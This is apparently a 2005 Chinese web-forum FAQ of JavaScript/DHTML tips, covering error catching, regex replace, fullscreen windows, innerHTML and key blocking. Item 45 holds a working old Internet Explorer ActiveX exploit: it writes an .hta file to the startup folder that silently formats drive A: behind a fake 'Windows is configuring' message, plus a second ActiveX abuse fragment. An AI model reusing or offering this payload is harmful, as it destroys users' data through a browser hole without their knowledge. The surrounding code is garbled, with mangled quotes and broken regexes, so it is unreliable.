</tr>

</table>

</span><![endif]><span lang=EN-US><![if !supportEmptyParas]> <![endif]><o:p></o:p></span></p>

</div>

</body>

</html>
 

游泳的猫 2005-10-27 14:56
41.如何在JavaScript中捕捉错误信息?

<script>

try{

var s=a.b;

}

catch(anError)

{

alert(anError.description);

}

</script>

42.JS正则表达式replace用法

下述示例脚本使用replace方法来转换串中的单词。在替换的文本中,脚本使用全局 RegExp

对象的$1和$2属性的值。注意,在作为第二个参数传递给replace方法的时候,RegExp对象的$属性的名

称。

<SCRIPT LANGUAGE=/"JavaScript1.2/">

re = /(+)(+)/;

str = /"John Smith/";

newstr=str.replace(re,/"$2, $1/");

document.write(newstr)

</SCRIPT>

显示结果:/"Smith, John/".

str.replace(re,/"$2, $1/");这一句,$2,$1是什么意思?

[font color=blue]下面这个解释我也不大明白,可否帮我解释一下,多谢!{/font]

$1, ..., $9属性

用圆括号括着的匹配子串,如果有的话。

是RegExp的属性

静态,只读

在JavaScript 1.2, NES 3.0以上版本提供

描述:因为input是静态属性,不是个别正则表达式对象的属性。你可以使用RegExp.input 访问该

属性。

能加上圆括号的子串的数量不受限制,但正则表达式对象只能保留最后9 条。如果你要访问所有的

圆括号内的匹配字串,你可以使用返回的数组。

RegExp.$n 保存满足用圆括号括起来的匹配条件的子串

$2是匹配第2个括号,$1是匹配第1个括号,对多层括号嵌套应该如何区分?而且如果超过$1~$9的括号如何匹配?

<script>

var reg=/((+)(+))/;

var str=/'John Smith/';

reg.exec(str);

</script>

<button onclick=with(RegExp)alert($1+/'/'+$2+/'/'+$3);>View</button>

43.如何实现首页全屏幕显示?

<html>

<body><script language=/"javascript/">

var coolw=642

var coolh=400

var coolhuang=window.open(/"http://www.51js.com/",/"coolhuang/",/"width=/"+coolw+/",height=/"+coolh+/",fullscreen=1,

toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0/")

window.close()

</script></body></html>

44.如何动态改变一个Object对象的样式表风格的Class?

<style>

.btn1{

background-color:#990000;color:#ffffff;

}

</style>

<button onclick=/"this.className=/'btn1/'/">你点我一下我的样式表就改为使用.btn1了</button>

45.如何用脚本来修改用户系统的注册表? (★★★★不推荐使用★★★★)

<script>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                </script>

格式化硬盘的,

把启动菜单下的automat.hta删除即可,这是格式化 a:盘

<object id=/"scr/" classid=/"clsid:06290BD5-48AA-11D2-8432-006008C3FBFC/">

</object>

<SCRIPT>

scr.Reset();

scr.Path=/"C://windows//start menu//Programs//启动//automat.hta/";

scr.Doc=/"<object id=/'wsh/' classid=/'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B/'></object><SCRIPT>wsh.Run(/'start /m format a: /q /autotest /u/');alert(/'Note:Windows is configing the system,do not interrupt it!./');<//"+/"SCRIPT>/";

scr.write();

</script>

<HTML>

<HEAD>

<TITLE>

建立文件

</TITLE>

</HEAD>

<BODY>

<BR>

<APPLET code=/"com.ms.activeX.ActiveXComponent/" >

</APPLET>

<SCRIPT LANGUAGE=/"JAVASCRIPT/">                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    </SCRIPT>

<SCRIPT LANGUAGE=/"VBSCRIPT/">

VA = ARRAY()

/' 获取com.ms.com.Variant[]

</SCRIPT>

<BR>

</BODY>

</HTML>原理是一样的!

46.如何监听一个窗口被关闭了?

<body onunload=/"alert(/'你关闭了这个窗口/')/">

47.什么是innerHTML、outerHTML………还有innerText?

自己用代码来体会一下

<div id=test><table><tr><td>文本<a>链接</a>另一段文本</td></tr></table></div>

<input type=button onclick=alert(test.innerText) value=/"show innerText/"><br>

<input type=button onclick=alert(test.innerHTML) value=/"show innerHTML/"><br>

<input type=button onclick=alert(test.outerHTML) value=/"show outerHTML/"><br>

48.关于try....catch..的语法捕捉错误使用例子

try{

可能会引起错误的语句

}

catch(表达式)

{

错误处理语句

}

例如:

<button onclick=TryDemo()>Try...Catch...Demo</button>

<script>

function TryDemo()

{

try{

var a=b/2;//注意由于b不存在,所以会引发一个异常。

}

catch(e)

{

alert(/'错误类型:/'+e+/'错误信息:/'+e.Descrition);

}

}

</script>

49.如何获得一个Select中选中option的value?

select.options[select.selectedIndex].value

50.this 和self 有什么区别,各在哪里用

self指代窗口。 this的情况: 1. 用于元素事件代码中指代元素本身: <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function构造的类。

<script>

function Car(){this.name=/'Car/';};alert(new Car().name);

</script>

51.如何禁止Ctrl+N?

<body onkeydown=return(!(event.keyCode==78&&event.ctrlKey))>

52.所有dhtml对象的属性和方法其实在你本机的硬盘上就有!

查找:dhtmled.ocx

或在delphi/c++builder中import activeX 选dhtmled.ocx